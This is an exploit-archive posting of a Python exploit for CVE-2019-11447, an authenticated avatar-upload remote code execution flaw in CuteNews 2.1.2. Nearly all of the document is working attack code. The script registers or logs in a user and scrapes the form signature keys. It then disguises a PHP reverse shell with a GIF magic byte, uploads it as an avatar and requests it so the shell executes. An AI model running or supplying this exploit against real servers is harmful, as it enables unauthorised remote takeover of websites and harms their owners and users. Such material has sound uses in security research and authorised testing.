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CuteNews 2.1.2 Shell Upload

CuteNews 2.1.2 Shell Upload
Posted Mar 17, 2021
Authored by Mayank Deshmukh

CuteNews version 2.1.2 Avatar upload remote shell upload exploit. Original discovery of remote shell upload in this version is attributed to Ozkan Mustafa Akkus in April of 2019.

tags | exploit, remote, shell
SHA-256 | 3bfcd7e004bf700bf7018b5be445e0eaf5aa0214d64852a09babea6c6a72b8ed

CuteNews 2.1.2 Shell Upload

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#! /usr/bin/env python3

## Exploit Title: CuteNews 2.1.2 - Avatar upload RCE (Authenticated)
## Exploit Author: Mayank Deshmukh
## Date: 2021-03-17
## Vendor Homepage: https://cutephp.com/
## Software Link: https://cutephp.com/click.php?cutenews_latest
## Version: 2.1.2
## CVE: CVE-2019-11447
## CVE Reference: https://nvd.nist.gov/vuln/detail/CVE-2019-11447
## Tested on: Kali GNU/Linux 2020.3
## Author website: https://coldfusionx.github.io
## Author email: coldfusionx@outlook.com
## Detailed POC: https://github.com/ColdFusionX/CVE-2019-11447_CuteNews-AvatarUploadRCE

import requests
import sys
import re
import argparse, textwrap

#Expected Arguments
parser = argparse.ArgumentParser(description="CuteNews 2.1.2 - Avatar upload RCE (Authenticated) by ColdFusionX", formatter_class=argparse.RawTextHelpFormatter,
epilog=textwrap.dedent('''

Exploit Usage :
./exploit.py -l http://127.0.0.1 -u cold -p fusion -e cold@decepticon.net
./exploit.py -l http://127.0.0.1 -u optimus -p prime -e optimus@autobots.net
[^] Select your PHP file -> rev.php
OR
[^] Select your PHP file -> ~/Downloads/rev.php
[^] Press y/n to trigger reverse shell -> y

'''))

parser.add_argument("-l","--url", help="CuteNews URL (Example: http://127.0.0.1)")
parser.add_argument("-u","--username", help="Username to Login/Register")
parser.add_argument("-p","--password", help="Password to Login/Register")
parser.add_argument("-e","--email", help="Email to Login/Register")
args = parser.parse_args()

if len(sys.argv) <= 8:
print (f"Exploit Usage: ./exploit.py -h [help] -l [url] -u [username] -p [password] -e [email ID]")
sys.exit()

# Variables
Host = args.url
Username = args.username
Password = args.password
Email = args.email

r = requests.session()

## Use this for Proxy
#r.proxies.update( { 'http':'http://127.0.0.1:8080' } )

# Login check
def login():
init = r.get(f"{Host}/CuteNews/index.php")
cookie = init.cookies.get('CUTENEWS_SESSION')

headerscontent = {
'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'
}
cookie = {
'CUTENEWS_SESSION':cookie
}

postcontent = {
'action' : 'dologin',
'username' : f"{Username}",
'password' : f"{Password}",
}

login = r.post(f'{Host}/CuteNews/index.php', data = postcontent, cookies= cookie, headers = headerscontent, allow_redirects= False)

if 302 == login.status_code:
print (f"[+] User exists ! Logged in Successfully")
return True

# Registering User
def register():

headerscontent = {
'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'
}
postcontent = {
'action' : 'register',
'regusername' : f"{Username}",
'regnickname' : f"{Username}",
'regpassword' : f"{Password}",
'confirm' : f"{Password}",
'regemail' : f"{Email}"
}

registration = r.post(f'{Host}/CuteNews/index.php?register', data = postcontent, headers = headerscontent, allow_redirects= False)

if 302 == registration.status_code:
print (f"[+] Credentials {Username}:{Password} Successfully Registered")
else:
sys.exit()

# Avatar upload
def upload():

keys = r.get(f"{Host}/CuteNews/index.php?mod=main&opt=personal")
signature_key = re.search('signature_key" value="(.*?)"', keys.text).group(1)
signature_dsi = re.search('signature_dsi" value="(.*?)"', keys.text).group(1)

# Grab PHP reverse shell from : https://github.com/pentestmonkey/php-reverse-shell
MalFile = input("[^] Select your PHP file -> ")

# Adding Magic Byte to PHP file

with open(MalFile, 'r') as original: data = original.read()
print()
print ("[*] Adding Magic Byte to PHP file")
with open(MalFile, 'w') as modified: modified.write("GIF8;\n" + data)

Efile = open(MalFile, 'rb')

headerscontent = {
'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0'
}
files = {
"mod" : (None, "main"),
"opt" : (None, "personal"),
"__signature_key" : (None, f"{signature_key}"),
"__signature_dsi" : (None, f"{signature_dsi}"),
"editpassword" : (None, ""),
"confirmpassword" : (None, ""),
"editnickname" : (None,Username),
"avatar_file" : (f"{Username}.php", Efile ) ,
"more[site]" : (None, ""),
"more[about]" : (None, "")
}
shell_upload = r.post(f"{Host}/CuteNews/index.php", headers = headerscontent, files = files)

# Removing Magic Byte from PHP file
with open(MalFile,"r+") as f:
new_f = f.readlines()
f.seek(0)
for line in new_f:
if "GIF8;" not in line:
f.write(line)
f.truncate()

if 'User info updated!' in shell_upload.text:
print ("[+] Upload Successful !!")
print (f"[*] File location --> {Host}/CuteNews/uploads/avatar_{Username}_{Username}.php")
print ()

Trig = input("[^] Press y/n to trigger PHP file -> ")
if Trig == 'y':
print ("[*] Check listener for reverse shell")
shell = r.get(f"{Host}/CuteNews/uploads/avatar_{Username}_{Username}.php")
else:
print ("[*] Execution Completed")
sys.exit()
elif 'Error: avatar is not correct' in shell_upload.text:
print ()
print ("[*] Uploading Failed ! Try again")
else:
sys.exit()

if __name__ == "__main__":

print ('[+] CuteNews 2.1.2 - Avatar Upload RCE exploit by ColdFusionX \n ')
if login() == True:
upload()
else:
register()
upload()
print ("[*] Execution Completed")


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